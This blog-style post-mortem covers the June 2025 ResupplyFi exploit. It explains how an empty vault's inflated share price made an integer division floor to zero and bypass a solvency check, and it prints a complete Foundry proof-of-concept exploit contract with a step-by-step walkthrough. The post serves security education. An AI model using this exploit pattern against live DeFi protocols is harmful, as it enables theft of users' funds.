Skip to content

Deep Dive into the ResupplyFi Exploit: A $9.6 Million Lesson in DeFi Security

On June 26, 2025, the ResupplyFi protocol, a decentralized stablecoin platform leveraging lending markets like CurveLend and FraxLend, fell victim to a sophisticated exploit that drained approximately $9.6 million in assets. This incident highlights the risks of oracle manipulations and edge cases in smart contract logic, even in audited code. In this post, we’ll break down the vulnerability, the attack mechanics, and technical details gathered from post-mortems and web analyses.

ResupplyFi Hack

What is ResupplyFi?

ResupplyFi is a subDAO protocol built on top of Convex Finance and Yearn Finance ecosystems. It allows users to use ERC-4626 vault shares from lending platforms (like CurveLend’s crvUSD or FraxLend’s frxUSD) as collateral to mint reUSD, a stablecoin pegged 1:1 to USD. The protocol treats these underlying assets as equivalent in value to reUSD, enabling over-collateralized borrowing. An Insurance Pool (IP) backs the system, facilitating liquidations and covering bad debt. ResupplyFi emphasizes capital efficiency by tapping into the liquidity of established lending markets.

At the time of the exploit, the protocol had been gaining traction, with markets like the crvUSD-wstUSR pair deployed just hours before the attack. However, this new pair’s low liquidity made it a prime target.

The Vulnerability: Oracle Manipulation and Solvency Check Bypass

The core issue stemmed from a unique interaction in the crvUSD-wstUSR market, where the attacker exploited an empty CurveLend vault to inflate share prices and trigger a mathematical edge case. Unlike traditional “inflation attacks” (where share dilution drains value from existing holders), this exploit bypassed a critical solvency check by causing an exchange rate to floor to zero due to integer division in Solidity.

Key Technical Breakdown

ResupplyFi’s oracle prices vault shares using the ERC-4626 convertToAssets() function, assuming a 1:1 peg between crvUSD/frxUSD and reUSD. For the vulnerable pair:

  1. Share Price Inflation: With no initial deposits in the CurveLend vault, the attacker donated 2,000 crvUSD directly to the vault’s controller and then deposited a minimal amount (2 crvUSD) to mint 1 wei of shares. This inflated the share price dramatically, 1 wei of shares became worth 2e18 crvUSD. While share inflation alone isn’t fatal (the oracle tracks true value correctly), it set the stage for the exploit.

  2. Exchange Rate Calculation Flaw: The oracle queries the price with a hardcoded 1e18 shares:

    _price = IERC4626(_vault).convertToAssets(1e18);  // Returns 2e36 due to inflation
    
    Then, the pair computes the reUSD exchangeRate:
    exchangeRate = 1e36 / oracle.getPrices(collateral);  // 1e36 / 2e36 floors to 0 (integer division)
    
    Solidity’s integer math rounds down, so divisions like this can unexpectedly yield zero in edge cases.

  3. Solvency Check Bypass: This zero exchange rate broke the borrower’s solvency validation:

    function _isSolvent(address _borrower, uint256 _exchangeRate) internal view returns (bool) {
        ...
        uint256 _ltv = ((_borrowerAmount * _exchangeRate * LTV_PRECISION) / EXCHANGE_PRECISION) / _collateralAmount;
        return _ltv <= _maxLTV;  // _ltv = 0 → Always returns true
    }
    
    With LTV resolving to zero, the attacker could borrow up to the pair’s full $10M debt limit without collateral checks, creating bad debt.

The entire attack was executed in a single transaction via the attacker’s contract, netting ~$9.6M in stolen assets. The vulnerable contract was the ResupplyVault at 0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6. The attack transaction is 0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3, deployed from the attack contract 0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7 by the attacker 0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea.

This vulnerability was specific to empty or low-liquidity vaults and evaded multiple audits because it required precise timing and conditions. As noted in the official post-mortem, the code section was in scope for security reviews, but no one flagged this edge case.

Hands-On: Reproducing the Exploit

To better understand this vulnerability, let’s examine a complete proof of concept that reproduces the attack. This Foundry test demonstrates the exact mechanics used by the attacker:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 9.6M USD
// PoC: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2025-06/ResupplyFi_exp.sol
// Attacker : https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea
// Attack Contract : https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7
// Vulnerable Contract : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6
// Attack Tx : https://etherscan.io/tx/0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3

interface IERC20 {
    function approve(address, uint256) external;
    function balanceOf(address) external view returns (uint256);
    function transfer(address, uint256) external;
}

interface ICurvePool {
    function exchange(int128, int128, uint256, uint256) external;
}

interface IsCRVUSD {
    function mint(uint256) external;
    function approve(address, uint256) external;
    function balanceOf(address) external view returns (uint256);
    function redeem(uint256, address, address) external;
}

interface IResupplyVault {
    function addCollateralVault(uint256, address) external;
    function borrow(uint256, uint256, address) external;
}

interface IMorphoBlue {
    function flashLoan(address, uint256, bytes calldata) external;
}

contract ResupplyFi is BaseTestWithBalanceLog {
    // Token Addresses
    IERC20 private constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 private constant crvUsd = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
    IsCRVUSD private constant sCrvUsd = IsCRVUSD(0x0655977FEb2f289A4aB78af67BAB0d17aAb84367);
    IERC20 private constant reUsd = IERC20(0x57aB1E0003F623289CD798B1824Be09a793e4Bec);

    // Contract Addresses
    IMorphoBlue private constant morphoBlue = IMorphoBlue(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
    ICurvePool private constant curveUsdcCrvusdPool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);
    IsCRVUSD private constant sCrvUsdContract = IsCRVUSD(0x01144442fba7aDccB5C9DC9cF33dd009D50A9e1D);
    IResupplyVault private constant resupplyVault = IResupplyVault(0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6);
    ICurvePool private constant curveReusdPool = ICurvePool(0xc522A6606BBA746d7960404F22a3DB936B6F4F50);

    address private constant crvUSDController = 0x89707721927d7aaeeee513797A8d6cBbD0e08f41;

    // Exploit Parameters
    uint256 private constant forkBlockNumber = 22_785_460;
    uint256 private constant flashLoanAmount = 4000 * 1e6; // 4,000 USDC
    uint256 private constant crvUsdTransferAmount = 2000 * 1e18; // 2,000 crvUSD
    uint256 private constant sCrvUsdMintAmount = 1;
    uint256 private constant borrowAmount = 10_000_000 * 1e18; // 10,000,000 reUSD
    uint256 private constant redeemAmount = 9_339_517.438774046 ether; // ~9,339.52 sCrvUsd
    uint256 private constant finalExchangeAmount = 9_813_732.715269934 ether; // ~9,813.73 crvUSD

    function setUp() public {
        vm.createSelectFork("mainnet", forkBlockNumber);
        fundingToken = address(usdc);
    }

    function testExploit() public balanceLog {
        usdc.approve(address(morphoBlue), type(uint256).max);
        morphoBlue.flashLoan(address(usdc), flashLoanAmount, hex"");
    }

    function onMorphoFlashLoan(uint256, bytes calldata) external {
        require(msg.sender == address(morphoBlue), "Caller is not MorphoBlue");
        _swapUsdcForCrvUsd();
        _manipulateOracles();
        _borrowAndSwapReUSD();
        _redeemAndFinalSwap();
    }

    function _swapUsdcForCrvUsd() internal {
        usdc.approve(address(curveUsdcCrvusdPool), type(uint256).max);
        curveUsdcCrvusdPool.exchange(0, 1, flashLoanAmount, 0);
    }

    function _manipulateOracles() internal {
        crvUsd.transfer(crvUSDController, crvUsdTransferAmount);
        crvUsd.approve(address(sCrvUsdContract), type(uint256).max);
        sCrvUsdContract.mint(sCrvUsdMintAmount);
    }

    function _borrowAndSwapReUSD() internal {
        sCrvUsdContract.approve(address(resupplyVault), type(uint256).max);
        resupplyVault.addCollateralVault(sCrvUsdMintAmount, address(this));
        resupplyVault.borrow(borrowAmount, 0, address(this));
        reUsd.approve(address(curveReusdPool), type(uint256).max);
        curveReusdPool.exchange(0, 1, reUsd.balanceOf(address(this)), 0);
    }

    function _redeemAndFinalSwap() internal {
        sCrvUsd.redeem(redeemAmount, address(this), address(this));
        crvUsd.approve(address(curveUsdcCrvusdPool), type(uint256).max);
        curveUsdcCrvusdPool.exchange(1, 0, finalExchangeAmount, 0);
    }
}

Flash Loan Initiation: The attacker used MorphoBlue to flash loan 4,000 USDC, approving it for swaps.

usdc.approve(address(morphoBlue), type(uint256).max);
morphoBlue.flashLoan(address(usdc), flashLoanAmount, hex"");
function onMorphoFlashLoan(uint256, bytes calldata) external {
    require(msg.sender == address(morphoBlue), "Caller is not MorphoBlue");
    // Subsequent calls to swaps and manipulations...
}

Swap to crvUSD: Converted USDC to ~4,000 crvUSD via the Curve USDC-crvUSD pool.

function _swapUsdcForCrvUsd() internal {
    usdc.approve(address(curveUsdcCrvusdPool), type(uint256).max);
    curveUsdcCrvusdPool.exchange(0, 1, flashLoanAmount, 0);
}

Oracle Manipulation:

  • Transferred 2,000 crvUSD to the crvUSD controller (donation).
  • Approved and minted 1 wei of sCrvUSD shares, inflating the price.
function _manipulateOracles() internal {
    crvUsd.transfer(crvUSDController, crvUsdTransferAmount);
    crvUsd.approve(address(sCrvUsdContract), type(uint256).max);
    sCrvUsdContract.mint(sCrvUsdMintAmount);
}

Borrow reUSD: Added the manipulated collateral to ResupplyFi’s vault and borrowed 10M reUSD (the full limit), bypassing solvency due to the zero exchange rate.

sCrvUsdContract.approve(address(resupplyVault), type(uint256).max);
resupplyVault.addCollateralVault(sCrvUsdMintAmount, address(this));
resupplyVault.borrow(borrowAmount, 0, address(this));

Swap and Redeem:

  • Swapped reUSD for crvUSD via the Curve reUSD pool.
  • Redeemed ~9.34M sCrvUSD for crvUSD.
  • Final swap of ~9.81M crvUSD back to USDC to repay the flash loan and pocket profits.
reUsd.approve(address(curveReusdPool), type(uint256).max);
curveReusdPool.exchange(0, 1, reUsd.balanceOf(address(this)), 0);
function _redeemAndFinalSwap() internal {
    sCrvUsd.redeem(redeemAmount, address(this), address(this));
    crvUsd.approve(address(curveUsdcCrvusdPool), type(uint256).max);
    curveUsdcCrvusdPool.exchange(1, 0, finalExchangeAmount, 0);
}

Aftermath and Recovery Efforts

Post-exploit, ResupplyFi’s team acted swiftly:

  • Paused the affected pair and set its debt limit to zero.
  • Used treasury funds to repay ~643K reUSD.
  • Deployed a share burner contract to prevent similar attacks across pairs.
  • Paused IP withdrawals pending governance.

The recovery plan, discussed on their Governance Forum, proposed burning ~6M reUSD from the IP (a ~15-20% haircut for depositors) and covering the rest via DAO revenues and a Yearn Treasury loan. Community reactions were mixed—some praised the transparency, while others accused it of being a “rug” or unfair to users, with heated discussions on X. By August 2025, bad debt was cleared, and a retention program distributed $2.5M RSUP over a year to boost yields.

ResupplyFi has since recovered, with TVL climbing and fees exceeding $100K weekly by September 2025. They introduced sreUSD, a revenue-sharing vault, to enhance stability.